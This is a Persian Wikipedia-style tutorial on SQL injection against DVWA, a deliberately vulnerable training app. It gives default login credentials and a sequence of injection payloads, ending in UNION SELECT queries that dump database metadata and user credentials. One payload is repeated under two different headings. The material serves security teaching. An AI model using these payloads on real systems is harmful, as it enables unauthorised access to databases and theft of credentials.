تزریق اس کیوال در دی وی دبلیو ا - ویکی‌پدیا، دانشنامهٔ آزاد

دی وی دابلیو اِی (به انگلیسی: Damn Vulnerable Web App (DVWA)) یک اپلیکیشن وب است که برای مقاصد آموزشی طراحی شده‌است تا افراد علاقه‌مند، متخصصین، معلمان و دانش آموزان بتوانند در محیطی کنترل شده و قانونی به یادگیری امنیت وب اپلیکیشن‌ها، علل آسیب پذیری و نحوه برطرف کردن آسیب پذیری‌ها بپردازند.

این اپلیکیشن به زبان پی اچ پی (به انگلیسی: PHP) و پایگاه داده مای اس کیوال (به انگلیسی: MySQL) نوشته شده‌است، میزان امنیت اپلیکیشن قابل تنظیم از کم، متوسط و زیاد می‌باشد. سورس کد مربوط به هر صفحه برای مقایسه قابل دسترسی است و برنامه نویسان می‌توانند با بررسی کدها به چگونگی برطرف کردن آسیب پذیری‌ها پی ببرند.

در این مقاله به بررسی بخش تزریق اس کیوال (به انگلیسی: SQL Injection) در دی وی دابلیو اِ می‌پردازیم.

تزریق اس کیوال یک تکنیک تزریق کد است که، از آسیب پذیری‌های لایه پایگاه دادهٔ یک نرم‌افزار سوءاستفاده می‌کند. این بدان معناست که برای فریب اس کیوال سرور (به انگلیسی: SQL Server)، ممکن است قادر به استفاده از ورودی خاصی باشیم، تا آنچه که ما می‌خواهیم انجام می شود.

ورود به دی وی دابلیو اِی[ویرایش]

  • دستور العمل:
    • مرورگر خود را (Firefox, Chrome ,…) اجرا کنید.
    • در نوار آدرس مرورگر عبارت “http://192.168.1.6/dvwa/login.php”[پیوند مرده] را وارد کنید. (توجه داشته باشید که بجای “۱۹۲٫۱۶۸٫۱٫۶” باید آدرس IP محلی که دی وی دبلیو اِ در سیستم شما نصب شده‌است قرار بگیرد)
    • نام کاربری و رمزعبور را وارد کنید. (Username: admin , Password: password)
    • روی Login کلیک نمایید.

تنظیم سطح امنیتی دی وی دابلیو اِی[ویرایش]

  • دستورالعمل:
    • از منوی سمت چپ، بر روی گزینه “DVWA Security” کلیک کنید.
    • در قسمت “Script Security”، “Low” را انتخاب نمایید.
    • بر روی “Submit” کلیک نمایید.

راهنمای تزریق اس کیوال[ویرایش]

  • منوی تزریق اس کیوال:
    • دستور العمل:
      • از منوی سمت چپ، گزینه “SQL Injection” را انتخای نمایید.

تزریق عمومی (به انگلیسی: Basic Injection)[ویرایش]

    • دستور العمل:
      • عدد “۱” را در جعبه متن (به انگلیسی: Text box) وارد کنید.
      • روی “Submit” کلیک کنید.
      • دقت داشته باشید، در کدی که برای این صفحه در نظر گرفته شده‌است، کد کاربری که یک عدد است را می‌گیرد و کد کاربری، نام و نام خانوادگی را نمایش می‌دهد.
      • نکته: selectیی که در PHP به کار رفته‌است و ما به آن حمله می‌کنیم، به صورت زیر است و ما به صورت خاص از فیلد “$id” استفاده می‌کنیم.
  • $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";

سناریوی همیشه درست (به انگلیسی: Always True Scenario)[ویرایش]

    • دستورالعمل:
      • متن زبر را در جعبه متن شناسه کاربری وارد کنید.(مانند شکل)
  • %' or '۰'='۰
  • روی “Submit” کلیک کنید.
    • نکته:
      • در این سناریو، ما به سیستم دستور می‌دهیم تمام رکوردهای نادرست و تمام رکوردهای درست را نمایش دهد.
        • % - احتمالاً با هیچ شناسه کاربری برابر نیست و بنابراین همواره غلط است.
        • ‘۰’=’۰’ – همواره درست است، چون همیشه ‘۰’ با ‘۰’ برابر است.
      • Selectیی که برای پایگاه داده ارسال می‌شود به صورت زیر است.
  • SELECT first_name, last_name FROM users WHERE user_id = '%' or '۰'='۰';

نمایش نسخه پایگاه داده[ویرایش]

    • دستور العمل:
      • متن زبر را در جعبه متن شناسه کاربری وارد کنید.(مانند شکل)
  • %' or ۰=۰ union select null, version() #
  • روی “Submit” کلیک کنید.
    • نکته:
      • به آخرین خط نمایش داده شده توجه کنید که در نام خانوادگی “۵٫۱٫۶۰” قرار داده شده‌است.
      • این در واقع نسخه پایگاه دادهٔ mysql است.

نمایش کاربر پایگاه داده[ویرایش]

    • دستور العمل:
      • متن زبر را در جعبه متن شناسه کاربری وارد کنید.(مانند شکل)
  • %' or ۰=۰ union select null, user() #
  • روی “Submit” کلیک کنید.
    • نکته:
      • به آخرین خط نمایش داده شده توجه کنید که در نام خانوادگی “root@localhost” قرار داده شده‌است.
      • این نام، کاربر پایگاه داده است که در پشت صحنه، کد PHP را اجرا می‌کند.

نمایش نام پایگاه داده[ویرایش]

    • دستور العمل:
      • متن زبر را در جعبه متن شناسه کاربری وارد کنید.(مانند شکل)
  • %' or ۰=۰ union select null, database() #
  • روی “Submit” کلیک کنید.
    • نکته:
      • به آخرین خط نمایش داده شده توجه کنید که در نام خانوادگی “dvwa” قرار داده شده‌است.
      • این در واقع نام پایگاه داده است.

نمایش تمام جداول موجود در شمای پایگاه داده[ویرایش]

    • دستور العمل:
      • متن زبر را در جعبه متن شناسه کاربری وارد کنید.(مانند شکل)
  • %' and ۱=۰ union select null, table_name from information_schema.tables where table_name like 'user%'#
  • روی “Submit” کلیک کنید.
    • نکته:
      • اکنون ما تمام جداول موجود در شمای پایگاه داده را نمایش دادیم.
      • اطلاعات موجود در شما، همان اطلاعات پایگاه داده است، شما جایی است که اطلاعات پایگاه داده‌های دیگری که روی MySQL Server هستند، ذخیره می‌شود.

نمایش تمام جداول کاربر در شمای پایگاه داده[ویرایش]

    • دستور العمل:
      • متن زبر را در جعبه متن شناسه کاربری وارد کنید.(مانند شکل)
  • %' and ۱=۰ union select null, table_name from information_schema.tables where table_name like 'user%'#
  • روی “Submit” کلیک کنید.
    • نکته:
      • اکنون ما تمامی جداولی که در شما با پسوند “user” شروع شده‌اند، را نمایش داده‌ایم.

نمایش کلیه ستون‌های جدول کاربران موجود، در شمای پایگاه داده[ویرایش]

    • دستورالعمل:
      • متن زبر را در جعبه متن شناسه کاربری وارد کنید.(مانند شکل)
  • %' and ۱=۰ union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #
  • روی “Submit” کلیک کنید.
    • نکته:
      • اکنون ما تمام ستون‌های جدول users را نمایش داده‌ایم.
      • این ستون‌ها شامل user_id، first_name، last_name، user و Password است.

نمایش محتویات ستون‌های جدول کاربر موجود در شمای پایگاه داده[ویرایش]

    • دستور العمل:
      • متن زبر را در جعبه متن شناسه کاربری وارد کنید.(مانند شکل)
  • %' and ۱=۰ union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #
  • روی “Submit” کلیک کنید.
    • نکته:
      • اکنون ما موفق به نمایش تمام اطلاعات لازم برای احرازهویت و متصل شدن به پایگاه داده، شده‌ایم.

منابع[ویرایش]

پیوند به بیرون[ویرایش]